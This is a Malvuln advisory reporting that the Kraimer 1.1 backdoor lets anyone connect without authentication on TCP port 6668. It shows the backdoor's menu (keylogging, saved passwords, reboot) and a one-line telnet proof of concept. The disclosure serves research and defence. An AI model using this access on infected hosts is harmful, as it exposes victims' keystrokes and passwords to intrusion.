Backdoor.Win32.Kraimer.11 Missing Authentication

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/2a4fda4a6687981d32c2da7bdc1efcf1.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Kraimer.11  
Vulnerability: Missing Authentication   
Description: Kraimer listens for commands on TCP port 6668, due to a lack of authentication anyone can telnet to the infected host. Seems only one established connection at a time is allowed, so if you telnet in then no other connections are honored. Therefore, if you make TCP connection and theres already an established connection you will get refused.  
  
Successful backdoor logon:  
  
::KrAIMer 1.1::   
-----MENU-----  
1) Help   
2) View Log File   
3) Start Key Logging   
4) Stop Key Logging   
5) Time/Date  
6) View Saved Passwords   
7) Reboot   
8) Quit   
  
Type: PE32  
MD5: 2a4fda4a6687981d32c2da7bdc1efcf1  
Vuln ID: MVID-2021-0046  
Disclosure: 01/22/2021  
  
Exploit/PoC:  
TELNET MALWARE_HOST_IP 6668  
  
  
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